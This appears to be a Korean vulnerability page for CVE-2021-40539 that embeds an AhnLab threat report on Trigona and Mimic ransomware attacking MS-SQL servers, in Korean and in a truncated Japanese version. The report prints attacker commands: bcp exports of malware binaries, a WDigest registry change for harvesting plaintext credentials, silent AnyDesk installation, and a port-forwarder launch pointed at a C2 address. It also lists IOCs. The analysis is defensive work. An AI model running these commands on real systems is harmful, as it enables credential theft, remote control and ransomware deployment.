CVE-2021-40539
위험도 심각 실제 악용 (KEV) 랜섬웨어 악용 ASEC 언급 3건
- 우선순위 이 사이트의 참고 점수
- 19.27
- 위험도 CVSS 3.1 · 0~10점
- 9.8
- 악용 가능성 EPSS · 30일 안에 공격에 쓰일 확률
- 99.0%
- 공개일 NVD
- 2021-09-07
설명 NVD 원문
Zoho ManageEngine ADSelfService Plus 6113 이하 버전은 REST API 인증 우회(authentication bypass) 취약점이 있으며, 이로 인해 원격 코드 실행(RCE)이 가능해진다.
Claude 로 기계 번역한 글입니다. 정확한 내용은 영어 원문을 확인하세요.
영어 원문
Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.
위험도 세부 항목 CVSS 3.1
- 공격 경로
- 네트워크(원격) AV:N
- 공격 난이도
- 낮음(쉬움) AC:L
- 필요한 권한
- 없음(로그인 불필요) PR:N
- 사용자 행동 필요
- 필요 없음 UI:N
- 영향 범위
- 그 제품 안 S:U
- 정보 유출(기밀성)
- 높음 C:H
- 데이터 변조(무결성)
- 높음 I:H
- 서비스 중단(가용성)
- 높음 A:H
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
조치 방법 0행
수집된 조치 정보가 없습니다. 조치가 필요 없다는 뜻은 아닙니다.
CISA 조치 권고 KEV
제조사 안내에 따라 업데이트를 적용하세요.
영어 원문
Apply updates per vendor instructions.
미국 연방기관 조치 기한: 2021-11-17
살펴볼 장비 초안
공격 대상: 서버·웹 서비스. '이 장비에서 살펴볼 취약점' 이라는 분류이며, 장비가 탐지한다는 확인이 아닙니다.
| 장비 보기 | 정도 | 분류 이유 |
|---|---|---|
| 웹 요청 (WAF·웹 로그) | 보조 | 웹 요청으로 들어오는 공격 (웹 공격 유형은 아니어서 웹 로그 확인용) |
단계별 판정 예시 환경
시나리오 미작성 — 이 CVE 는 단계별 판정을 하지 않았습니다. 안전하다는 뜻이 아닙니다.
출처별 내용 4건
CISA KEV Zoho ManageEngine ADSelfService Plus Authentication Bypass Vulnerability 2021-11-03
Apply updates per vendor instructions.
ASEC Mimic 랜섬웨어를 사용하는 Trigona 랜섬웨어 공격자 2024-01-22
AhnLab SEcurity intelligence Center(ASEC)은 최근 Trigona 랜섬웨어 공격자가 Mimic 랜섬웨어를 설치하는 새로운 활동을 확인하였다. 이번에 확인된 공격 사례는 기존 사례들과 유사하게 MS-SQL 서버를 대상으로 하며 악성코드 설치 과정에서 MS-SQL 서버의 BCP(Bulk Copy Program) 유틸리티를 악용했다는 점이 특징이다. Trigona 랜섬웨어 : 적어도 2022년 6월부터 활동한 것으로 알려졌으며 [1] 주로 MS-SQL 서버를 공격 대상으로 최근까지도 활동이 지속되고 있다. Mimic 랜섬웨어 : 2022년 6월에 최초로 발견되었으며 [2] 2024년 1월에는 터키어를 사용하는 공격자가 부적절하게 관리되는 MS-SQL 서버를 공격해 Mimic 랜섬웨어를 공격한 사례가 공개되었다. [3] ASEC에서는 2024년 1월 초 BCP를 활용해 Mimic 랜섬웨어를 설치하는 공격 사례를 최초로 확인하였으며, 2024년 1월 중순에는 동일한 방식의 공격 사례들에서 Mimic 랜섬웨어 대신 Trigona 랜섬웨어가 설치된 것을 확인하였다. Mimic 랜섬웨어의 랜섬노트에서 사용한 공격자의 이메일 주소는 다른 공격 사례들에서 확인되지 않았지만 이후 확인된 Trigona 랜섬웨어의 랜섬노트에서는 2023년 초부터 Trigona 랜섬웨어 공격자가 사용하고 있는 이메일 주소가 사용되었다. [4] 이에 따라 2024년 1월 중순에 확인된 공격 사례는 기존 Trigona 공격자의 소행으로 여겨지며 2024년 1월 초에 확인된 Mimic 랜섬웨어 공격 사례도 동일한 공격자로 보고 있다. 이는 두 개의 사례 모두 부적절하게 관리되는 MS-SQL 서버를 대상으로 하였다는 점과 악성코드 설치에 BCP를 사용하였다는 점 그리고 공격에 사용된 다양한 문자열, 경로명이 동일한 점을 근거로 한다. 이외에도 각각의 공격 사례들에서 동일한 악성코드가 사용된 점도 있다. 1. Trigona 랜섬웨어 Trigona 랜섬웨어는 델파이 언어로 개발되었으며 파일들을 암호화할 때 RSA 및 AES 암호화 알고리즘을 이용한다. 2023년 2월 Arete 사의 보고서에서 ManageEngine 취약점(CVE-2021-40539)을 공격한 사례가 확인되었으며, [5] 2023년 4월에는 자사 ASEC 블로그에서 부적절하게 관리되는 MS-SQL 서버를 대상으로 한 공격 사례를 공개한 바 있다. [6] 이번 공격 사례도 2023년과 동일하게 MS-SQL 서버를 대상으로 하며 랜섬노트에 저장된 공격자의 이메일 주소를 통해 이번에 확인된 Trigona 랜섬웨어도 이전 사례들과 동일한 공격자임을 알 수 있다. Email : farusbig@tutanota[.]com URL : hxxp://znuzuy4hkjacew5y2q7mo63hufhzzjtsr2bkjetxqjibk4ctfl7jghyd[.]onion/ Figure 1. 암호화된 파일들과 랜섬노트 2. Mimic 랜섬웨어 Mimic 랜섬웨어는 암호화할 대상이 되는 파일들을 찾는 과정에서 Everything이라고 하는 파일 검색 프로그램을 악용하는 것이 특징인 랜섬웨어이다. 공격자는 시스템에 존재하는 파일들을 암호화하는 작업을 더 빠르게 하기 위해 Everything 도구를 악용하는 것으로 추정된다. 이외에도 개발 과정에서 소스 코드가 공개된 Conti 랜섬웨어의 기능들을 차용하기도 했다. [7] 2023년 1월에 공개된 TrendMicro 보고서와 2024년 1월에 공개된 Securonix 보고서에서 각각 확인된 Mimic 랜섬웨어들과 이번 공격에서 사용된 것은 거의 외형적으로는 거의 동일한 형태이다. 악성코드는 7z SFX 실행 압축 파일로 제작되었으며 내부에 “Everything64.dll”이라는 이름의 압축 파일에 실제 악성코드들과 Everything 도구들이 암호 압축되어 있다. 악성코드가 실행되면 내부에 포함된 7z 및 “Everything64.dll” 압축 파일을 압축 해제하고 다음과 같이 비밀번호를 이용해 압축을 해제한다. > 7za.exe x -y -p58042791667523172 Everything64.dll > 7za.exe x -y -p624417568130113444 Everything64.dll Figure 2. 7z SFX 및 압축 파일에 포함된 파일들 최종적으로 설치된 폴더에는 Mimic 랜섬웨어와 Everything 도구들 외에도 윈도우 디펜더를 비활성화하기 위한 목적의 Defender Control 도구(DC.exe) 그리고 Sysinternals의 SDelete 도구(xdel.exe)가 함께 포함되어 있다. Figure 3. 설치된 파일들 랜섬노트에 적힌 공격자의 이메일 주소는 2023년 1월에 공개된 TrendMicro 보고서와 2024년 1월에 공개된 Securonix 보고서의 Mimic 랜섬웨어들이 사용한 것과 다르며 다른 공격 사례들에서도 확인되지 않는다. 대신 뒤에서 다룰 여러 가지 정황들을 통해 Trigona 랜섬웨어 공격자가 Mimic 랜섬웨어를 공격에 함께 사용하고 있는 것으로 추정하고 있다. Email : getmydata@list.ru Figure 4. 암호화된 파일들과 랜섬노트 3. BCP를 이용한 악성코드 설치 공격 대상은 부적절하게 관리되고 있는 MS-SQL 서버 즉 외부에 노출되어 있으면서 계정 정보를 단순하게 설정하여 무차별 대입 공격이나 사전 공격에 취약한 시스템들로 추정된다. 이는 Trigona 랜섬웨어 공격자가 과거부터 이러한 시스템들을 공격 대상으로 한다는 점 외에도 LoveMiner, Remcos RAT 등의 악성코드들이 해당 공격 과정 전과 후에 설치된 감염 로그들이 존재하는 것을 통해 추정할 수 있다. 3.1. BCP를 이용한 파일 생성 BCP(Bulk Copy Program) 유틸리티인 bcp.exe는 MS-SQL 서버에서 대량의 외부 데이터를 가져오거나 내보내는데 사용되는 커맨드 라인 도구이다. 일반적으로 SQL 서버의 테이블에 저장된 대량의 데이터를 로컬의 파일로 저장하거나 로컬에 저장된 데이터 파일을 SQL 서버의 테이블에 내보내는데 사용된다. 일반적으로 MS-SQL 서버를 공격하는 공격자는 악성코드 다운로드 시 파워쉘 명령을 이용하며 최근에는 SQL 서버에 포함되어 있는 파워쉘 도구인 SQLPS를 악용하기도 한다. [8] 하지만 이번 공격 사례에서 공격자는 데이터베이스에 악성코드를 저장한 이후 BCP를 이용해 로컬에 파일로 생성하는 방식을 사용한 것으로 추정된다. Figure 5. BCP를 이용한 악성코드 생성 공격자는 Trigona 랜섬웨어 바이너리가 저장된 테이블 “uGnzBdZbsi”에서 다음과 같은 명령을 이용해 로컬 경로로 Trigona 랜섬웨어를 내보낸 것으로 추정된다. 참고로 “FODsOZKgAU.txt”는 포맷 파일로서 포맷 정보가 포함되어 있을 것으로 보인다. Figure 6. 공격에 사용된 BCP 명령 다음은 공격에 사용된 다양한 악성코드 및 도구들을 내보내는데 사용된 BCP 명령들이다. Anydesk > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\AD.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” Port Forwarder 악성코드 > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\4.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” Launcher 악성코드 > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\pp2.exe” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\pp2.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” Mimic 랜섬웨어 > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\K2K.txt” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\K3K.txt” -T -f “C:\users\%ASD%\FODsOZKgAU.txt” Trigona 랜섬웨어 > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\build.txt” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” 기타 > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\kkk.bat” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\kur.bat” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\kkk.bat” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” 3.2. 정보 조회 참고로 BCP를 이용해 악성코드를 생성하기 전 즉 공격에 성공한 이후 공격자가 가장 먼저 실행하는 명령은 다음과 같이 감염 시스템의 정보를 조회하는 명령들이다. 공격자는 해당 명령들을 통해 얻은 정보들을 바탕으로 환경에 맞는 악성코드들을 설치하였을 것으로 보인다. > hostname > whoami > wmic computersystem get domain > wmic computersystem get totalphysicalmemory 3.3. 자격 증명 정보 탈취 Trigona 랜섬웨어 공격자는 자격 증명 정보를 탈취하기 위해 미미카츠를 사용하는 것으로 알려져 있다. [9] [10] 비록 공격 과정에서 미미카츠의 로그는 확인되지 않았지만 공격자는 WDigest 보안 패키지를 이용한 평문 비밀번호를 획득하기 위해 UseLogonCredential 레지스트리 키를 설정하는 명령을 실행하기도 하였다. > REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\wdigest” /v UseLogonCredential /t REG_DWORD /d 0x00000001 3.4. AnyDesk 이외에도 감염 시스템을 제어하기 위해 Anydesk를 설치하였다. AnyDesk는 원격 관리 도구로써 원격 데스크톱, 파일 전송 등 다양한 기능들을 제공한다. 원격 데스크톱이라고 한다면 RDP와 같이 AnyDesk가 설치된 환경에 원격으로 접속하여 GUI 환경에서 제어를 지원하는 기능이다. Anydesk는 기존 Trigona 랜섬웨어 공격자뿐만 아니라 대부분의 공격 그룹들이 악용하는 대표적인 원격 관리 도구이다. 원격 관리 도구는 재택근무나 원격 제어 및 관리를 위한 정상적인 목적으로 사용하는 사례가 많으며 이에 따라 AntiVirus 제품에서는 일반적인 악성코드들과 달리 이러한 도구들을 단순하게 탐지하고 차단하는 데 한계가 존재한다. 공격자들은 이러한 점을 악용하여 최초 침투 과정이나 측면 이동 과정에서 공격 대상 시스템을 제어하기 위해 RAT 악성코드 대신 원격 제어 도구들을 설치하기도 한다. > %SystemDrive%\users\%ASD%\music\AD.exe –install C:\”Program Files (x86)”\ –silent > %SystemDrive%\”Program Files (x86)”\AnyDesk-ad_1514b2f9.exe –get-id” 4. 공격에 사용된 악성코드 분석 이번에 확인된 공격 사례에서는 BCP를 악용했다는 점 외에도 안전 모드를 활용한 정황이 확인되었다는 것도 특징이다. Mimic 랜섬웨어와 Trigona 랜섬웨어 공격에서는 공격자가 제작한 것으로 보이는 두 개의 악성코드가 추가적으로 확인된다. 하나는 자신을 안전 모드에서도 동작 가능한 서비스로 등록하고 이후 서비스로 동작할 시 인자로 전달받았던 프로그램을 실행시키는 기능을 담당하는 Launcher 악성코드이다. 다른 하나는 동일하게 안전 모드에서도 동작 가능한 서비스로 등록한 이후 RDP를 활성화하고 인자로 전달받은 주소에 RDP 포트에 대한 포워딩을 지원하는 Port Forwarder 악성코드이다. PDB 정보에 따르면 공격자는 Launcher 악성코드를 “app2”로, 포트 포워더 악성코드를 “client”로 이름 지었다. Figure 7. 유사한 PDB 정보를 갖는 공격자 제작 악성코드들 비록 시스템의 부팅 방식을 안전 모드로 설정하는 악성코드나 명령 로그는 확인되지 않았지만 다음과 같이 MS-SQL 서버 프로세스가 시스템을 재부팅하는 명령을 실행한 로그는 확인된다. Launcher 악성코드가 인자로 전달받은 악성코드를 실행한 이후 안전 모드 부팅 옵션을 비활성화하는 것을 보면 정황상 공격자는 악성코드 설치 이후 시스템을 안전 모드로 재부팅하여 랜섬웨어를 동작시킨 것으로 추정된다. > shutdown -r -f -t 5 4.1. Launcher 악성코드 공격자는 다음과 같은 인자를 전달하여 Launcher 악성코드를 실행시켰다. Launcher 악성코드는 실행 시 “C:\windows\temp\LeVfeNXHoa” 경로에 자신을 복사한다. 이후 전달받은 인자에 따라 다음 작업을 진행하는데 먼저 첫 번째 인자로 서비스의 이름을 그리고 두 번째 인자로 복사할 파일의 경로를 전달받는다. 두 번째 인자에서 전달받은 경로의 파일은 세 번째 인자로 전달받은 경로로 옮긴다. 참고로 두 번째 인자로 전달받은 파일은 Mimic 랜섬웨어였다. > %ALLUSERSPROFILE%\pp2.exe 1111111 c:\programdata\K2K.txt c:\programdata\2K.EXE” Launcher 악성코드는 첫 번째 인자로 전달받은 이름인 “1111111”로 자신을 서비스에 등록한 후 안전 모드에서도 동작할 수 있도록 추가적인 작업을 진행한다. 이후 서비스로 동작하면 세 번째 인자로 전달받은 경로의 랜섬웨어를 실행하며 여기까지의 과정이 끝나면 안전 모드 설정을 비활성화하여 다시 정상적으로 부팅될 수 있도록 한다. Figure 8. 등록한 서비스의 안전모드 설정과 랜섬웨어 실행 이후 이를 다시 해제하는 루틴 4.2. Port forwarder 공격자는 다음과 같은 인자를 전달하여 Port forwarder 악성코드를 실행시켰다. 포트 포워딩이랑 특정 포트에서 전달받은 데이터를 다른 포트로 전달하는 기능이다. 해당 악성코드는 RDP 서비스 즉 3389번 포트에 대한 포트 포워딩을 지원한다. 일반적으로 RDP 관련 포트 포워딩 도구들은 외부에서 공격자가 NAT 환경에 직접 접근할 수 없는 점을 극복하기 위해 사용된다. Port forwarder는 리버스 커넥션 방식으로 공격자의 주소에 먼저 연결한 이후 감염 시스템의 RDP 포트에 연결하여 두 개의 통신을 중개해 준다. 이에 따라 공격자는 NAT 환경에서 동작 중인 시스템이더라도 RDP 연결이 가능해져 원격에서 감염 시스템을 제어할 수 있게 된다. 이렇게 RDP를 활용하기 때문에 악성코드는 다음 명령들을 실행해 추가적으로 RDP 서비스를 활성화하기도 한다. Figure 9. RDP 서비스 활성화 루틴 Port forwarder는 설치 모드로 실행 시 자신을 “C:\windows\temp\WindowsHostServicess.exe” 경로에 복사하고 “WindowsHostServicess” 이름으로 서비스에 등록한다. 서비스는 위 Launcher 악성코드와 유사하게 안전 모드에서도 동작할 수 있도록 설정한다. > %SystemDrive%\users\%ASD%\music\4.exe –ip “2.57.149[.]233” –port “3366” –install Port forwarder는 5개의 인자를 갖는데 3개는 모드로서 각각 설치, 삭제 그리고 실행 기능을 지원한다. 실행 모드에서는 위의 서비스 설치 과정 없이 인자로 전달받은 C&C 서버에 접속하여 포트 포워딩을 지원한다. 인자 설명 –install 설치 모드 –uninstall 삭제 모드 –run 실행 모드 –ip C&C 서버의 IP 주소 –port C&C 서버의 Port 번호 Table 1. Port forwarder의 인자 C&C 서버에 접속하기 전에는 “C:\windows\temp\elZDk6geQ8” 경로에 운영체제 정보나 사용자 및 컴퓨터 이름 등의 시스템의 기본적인 정보들을 저장하며 최초 접속 시 해당 정보들을 전달한다. Figure 10. C&C 서버에 전달하는 시스템 정보 이후 C&C 서버로부터 전달받은 명령에 따라 포트 포워딩 또는 자가 삭제 명령을 수행할 수 있다. 명령 기능 0x8CC03FAF C&C 서버와 RDP 서비스에 대한 포트 포워딩 시작 0x0002C684 자가 삭제 Table 2. Port forwarder의 인자 5. 결론 최근 Trigona 랜섬웨어 공격자가 부적절하게 관리되고 있는 MS-SQL 서버를 대상으로 Mimic 랜섬웨어 및 Trigona 랜섬웨어를 설치하고 있다. 공격자는 포트 포워딩 기능을 담당하는 악성코드를 이용해 감염 시스템에 RDP로 접속하여 원격 제어를 하려는 시도도 확인된다. Trigona와 같은 랜섬웨어 공격자들은 수익을 위해 감염 시스템을 암호화하고 민감한 정보를 탈취하여 협박하는 방식을 사용하고 있다. 이외에도 자격 증명 정보 탈취 및 측면 이동을 위한 다양한 기법들을 시도하기 때문에 기업에서는 단일한 시스템뿐만 아니라 기업 내부망 전체가 장악되어 기업의 민감한 정보들이 탈취당하고 네트워크 내의 시스템들이 암호화될 수 있다. MS-SQL 서버를 대상으로 하는 공격에는 대표적으로 부적절하게 계정 정보를 관리하고 있는 시스템들에 대한 무차별 대입 공격(Brute Forcing)과 사전 공격(Dictionary Attack)이 있다. 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 데이터베이스 서버를 보호해야 한다. 그리고 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 또한 외부에 공개되어 접근 가능한 데이터베이스 서버에 대해 방화벽과 같은 보안 제품을 이용해 외부 공격자로부터의 접근을 통제해야 한다. 위와 같은 조치가 선행되지 않을 경우 공격자 및 악성코드들에 의해 계속적인 감염이 이루어질 수 있다. 파일 진단 – Trojan/Win.Generic.R531737 (2022.10.27.00) – HackTool/Win.DefenderControl.C5481630 (2023.09.06.00) – Ransomware/Win.Mimic.C5543473 (2023.11.18.01) – Ransomware/Win.Filecoder.C5561780 (2023.12.12.01) – Trojan/Win.Agent.C5574264 (2024.01.14.03) – Trojan/Win.Agent.C5574265 (2024.01.14.03) 행위 진단 – Malware/MDP.Minipulate.M71 – Persistence/MDP.AutoRun.M203 – DefenseEvasion/MDP.ModifyRegistry.M1234 – Ransom/MDP.Decoy.M1171 – CredentialAccess/MDP.Mimikatz.M4367 MD5 3e26e778a4d28003686596f988942646 6d44f8f3c1608e5958b40f9c6d7b6718 a02157550bc9b491fd03cad394ccdfe7 a24bac9071fb6e07e13c52f65a093fce a6e2722cff3abb214dc1437647964c57 URL http[:]//2[.]57[.]149[.]233[:]3366/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC 영어·일본어 등 다른 언어 글 2건
ASEC Mimic ランサムウェアを使用する Trigona ランサムウェア攻撃者 2024-01-30
AhnLab SEcurity intelligence Center(ASEC)は、最近 Trigona ランサムウェアの攻撃者が Mimic ランサムウェアをインストールする新しい活動を確認した。今回確認された攻撃事例は、既存の事例と同じく MS-SQL サーバーを対象とし、マルウェアのインストールプロセスで MS-SQL サーバーの BCP(Bulk Copy Program) ユーティリティを悪用したという点が特徴である。 Trigona ランサムウェア :少なくとも2022年6月から活動してきたと知られており、 [1] (外部サイト、英語にて提供) 主に、MS-SQL サーバーを攻撃対象として最近までも活動を続けている。 Mimic ランサムウェア :2022年6月に初めて発見され、 [2] (外部サイト、英語にて提供) 2024年1月にはトルコ語を使用する攻撃者が不適切に管理されている MS-SQL サーバーを攻撃して Mimic ランサムウェアを攻撃した事例が公開された。 [3] ( 外部サイト、英語にて提供 ) ASEC では、2024年1月の初めに BCP を活用して Mimic ランサムウェアをインストールする攻撃事例を初めて確認し、2024年1月中旬には同じ方式の攻撃事例で Mimic ランサムウェアの代わりに Trigona ランサムウェアがインストールされたことを確認した。Mimic ランサムウェアのランサムノートで使用された攻撃者のメールアドレスは、他の攻撃事例では確認されなかった。しかし、その後に確認された Trigona ランサムウェアのランサムノートでは、2023年の初めから Trigona ランサムウェア攻撃者が使用しているメールアドレスが使用された。 [4] ( 外部サイト、英語にて提供 ) そのため、2024年1月中旬に確認された攻撃事例は、既存の Trigona 攻撃者によるものと思われ、2024年1月初めに確認された Mimic ランサムウェアの攻撃事例も同じ攻撃者によるものと見ている。これは、どちらの事例も不適切に管理されている MS-SQL サーバーを対象としている点と、マルウェアのインストールに BCP を使用したという点、そして攻撃に使用された様々な文字列、パス名が同じである点を根拠としている。以外にもそれぞれの攻撃事例から同じマルウェアが使用されたという点もある。 1. Trigona ランサムウェア Trigona ランサムウェアは、Delphi 言語で開発され、ファイルを暗号化する際、RSA および AES 暗号化アルゴリズムを利用する。2023年2月には Arete 社のレポートで ManageEngine 脆弱性(CVE-2021-40539)を攻撃した事例が確認され、 [5] (外部サイト、英語にて提供) 2023年4月には当社の ASEC ブログで不適切に管理されている MS-SQL サーバーを対象とした攻撃事例が公開された。 [6] 今回の攻撃事例も、2023年と同じく MS-SQL サーバーを対象としており、ランサムノートに保存された攻撃者のメールアドレスから今回確認された Trigona ランサムウェアも前の事例と同じ攻撃者によるものだという事が分かる。 Email : farusbig@tutanota[.]com URL : hxxp://znuzuy4hkjacew5y2q7mo63hufhzzjtsr2bkjetxqjibk4ctfl7jghyd[.]onion/ 図 1. 暗号化されたファイルとランサムノート 2. Mimic ランサムウェア Mimic ランサムウェアは、暗号化する対象となるファイルを探すプロセスで Everything というファイル検索プログラムを悪用することが特徴であるランサムウェアだ。攻撃者は、システムに存在するファイルを暗号化するタスクをもっと早くするために Everything ツールを悪用するものと推定される。その他にも、開発プロセスでソースコードが公開された Conti ランサムウェアの機能を借用したりもした。 [7] ( 外部サイト、英語に提供 ) 2023年1月に公開された TrendMicro レポートと、2024年1月に公開された Securonix レポートでそれぞれ確認された Mimic ランサムウェアと今回の攻撃に使用されたものは、外形的にはほぼ同じ形態である。マルウェアは、7z SFX 実行圧縮ファイルで製作されており、内部には「Everything64.dll」という名前の圧縮ファイルに実際のマルウェアと Everything ツールが暗号圧縮されている。マルウェアが実行されると、内部に含まれている 7z および「Everything64.dll」圧縮ファイルを解凍し、以下のようにパスワードを利用して圧縮を解凍する。 > 7za.exe x -y -p58042791667523172 Everything64.dll > 7za.exe x -y -p624417568130113444 Everything64.dll 図 2. 7z SFX および圧縮ファイルに含まれたファイル 最終的にインストールされたフォルダーには、Mimic ランサムウェアと Everything ツールの他にも Windows Defender を無効化する目的の Defender Control ツール(DC.exe)、そして Sysinternals の SDelete ツール(xdel.exe)が一緒に含まれている。 図 3. インストールされたファイル ランサムノートに書かれた攻撃者のメールアドレスは、2023年1月に公開された TrendMicro レポートと、2024年1月に公開された Securonix レポートの Mimic ランサムウェアが使用されたものとは異なり、他の攻撃事例でも確認されていない。代わりに、後述する様々な状況から Trigona ランサムウェア攻撃者が Mimic ランサムウェアを攻撃に一緒に使用しているものと推定している。 Email : getmydata@list.ru 図 4. 暗号化されたファイルとランサムノート 3. BCP を利用したマルウェアインストール 攻撃の対象は不適切に管理されている MS-SQL サーバー、すなわち外部に露出しており、アカウント情報を単純に設定し、総当たり攻撃や辞書攻撃に脆弱なシステムと推定される。これは、Trigona ランサムウェア攻撃者が過去からこのようなシステムを攻撃対象とするという点以外にも、LoveMiner、Remcos RAT などのマルウェアが、この攻撃プロセスの前と後にインストールされた感染ログが存在するという点から推定できる。 3.1. BCP を利用したファイル作成 BCP(Bulk Copy Program)ユーティリティの bcp.exe は、MS-SQL サーバーから大量の外部データをインポートしたりエクスポートすることに使用されるコマンドラインツールである。一般的に SQL サーバーのテーブルに保存された大量のデータをローカルのファイルで保存したり、ローカルに保存されたデータファイルを SQL サーバーのテーブルにエクスポートする際に使用される。 一般的に MS-SQL サーバーを攻撃する攻撃者は、マルウェアのダウンロード時に PowerShell コマンドを利用し、最近では SQL サーバーに含まれている PowerShell ツールである SQLPS を悪用したりもする。 [8] しかし、今回の攻撃事例で攻撃者はデータベースにマルウェアを保存した後、BCP を利用してローカルにファイルで作成する方式を使用したと推定される。 図 5. BCP を利用したマルウェア作成 攻撃者は、Trigona ランサムウェアバイナリが保存されたテーブル「uGnzBdZbsi」で、以下のようなコマンドを利用してローカルパスに Trigona ランサムウェアをエクスポートしたと推定される。「FODsOZKgAU.txt」はフォーマットファイルで、フォーマット情報が含まれているものと見られる。 図 6. 攻撃に使用された BCP コマンド 以下は、攻撃に使用された様々なマルウェアおよびツールのエクスポートに使用された BCP コマンドである。 Anydesk > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\AD.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” Port Forwarder マルウェア > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\4.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” Launcher マルウェア > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\pp2.exe” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\pp2.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” Mimic ランサムウェア > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\K2K.txt” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\K3K.txt” -T -f “C:\users\%ASD%\FODsOZKgAU.txt” Trigona ランサムウェア > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\build.txt” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” その他 > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\kkk.bat” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\kur.bat” -T -f “C:\ProgramData\FODsOZKgAU.txt” > bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\kkk.bat” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt” 3.2. 情報照会 BCP を利用してマルウェアを作成する前、すなわち攻撃に成功した後に攻撃者が何よりも先に実行するコマンドは、以下のように感染システムの情報を照会するコマンドである。攻撃者は、このコマンドを通して獲得した情報をベースに環境に適したマルウェアをインストールしたものと見られる。 > hostname > whoami > wmic computersystem get domain > wmic computersystem get totalphysicalmemory 3.3. 資格情報の窃取 Trigona ランサムウェアの攻撃者は、資格情報を窃取するために Mimikatz を使用していると知られている。 [9] (外部サイト、英語にて提供) [10] (外部サイト、英語にて提供) 攻撃プロセスで Mimikatz のログは確認されなかったものの、攻撃者は WDigest セキュリティパッケージを利用した平文パスワードを獲得するために、UseLogonCredential レジストリキーを設定するコマンドを実行したりもした。 > REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\wdigest” /v UseLogonCredential /t REG_DWORD /d 0x00000001 3.4. AnyDesk その他にも感染システムを操作するため、Anydesk をインストールした。AnyDesk は遠隔操作ツールで、リモートデスクトップ、ファイル送信などの様々な機能を提供している。リモートデスクトップとは、RDP のように AnyDesk がインストールされている環境に遠隔でアクセスし、GUI 環境での操作をサポートする機能である。 Anydesk は、既存の Trigona ランサムウェア攻撃者だけでなく、大半の攻撃グループが悪用する代表的な遠隔操作ツールである。遠隔操作ツールは、在宅ワークや遠隔操作および管理のための正常な目的で使用する事例が多く、そのため AntiVirus 製品では一般的なマルウェアと違ってこのようなツールを単純に検知、遮断することに限界がある。攻撃者はこのような点を悪用し、初期侵入プロセスやラテラルムーブメントプロセスで攻撃対象のシステムを操作するため、RAT マルウェアの代わりに遠隔操作ツールをインストールしたりする。 > %SystemDrive%\users\%ASD%\music\AD.exe –install C:\”Program Files (x86)”\ –silent > %SystemDrive%\”Program Files (x86)”\AnyDesk-ad_1514b2f9.exe –get-id” 4. 攻撃に使用されたマルウェア解析 今回確認された攻撃事例では、BCP を悪用したという点以外にもセーフモードを活用した状況が確認されたという点も特徴である。Mimic ランサムウェアと Trigona ランサムウェア攻撃では、攻撃者が製作したものと見られる2つのマルウェアが追加で確認される。 一つは、自身をセーフモードでも動作できるサービスとして登録し、その後、サービスで動作する際に引数で伝達されたプログラムを実行させる機能を担当する Launcher マルウェアである。もう一つは、同様にセーフモードでも動作できるサービスとして登録した後、RDP を有効化して引数で伝達されたアドレスに RDP ポートに対するフォワーディングをサポートする Port Forwarder マルウェアである。 PDB 情報によると、攻撃者は Launcher マルウェアを「app2」、Port Forwarder マルウェアを「client」と名付けた。 図 7. 類似した PDB 情報を持つ攻撃者製作のマルウェア システムの起動方式をセーフモードに設定するマルウェアやコマンドログは確認されなかったが、以下のように MS-SQL サーバープロセスがシステムを再起動するコマンドを実行したログは確認される。Launcher マルウェアが引数で伝達されたマルウェアを実行した後、セーフモードの起動オプションを無効化する点から状況上、攻撃者はマルウェアのインストール後、システムをセーフモードで再起動してランサムウェアを動作させたものと推定される。 > shutdown -r -f -t 5 4.1. Launcher マルウェア 攻撃者は、以下のような引数を伝達し、Launcher マルウェアを実行させた。Launcher 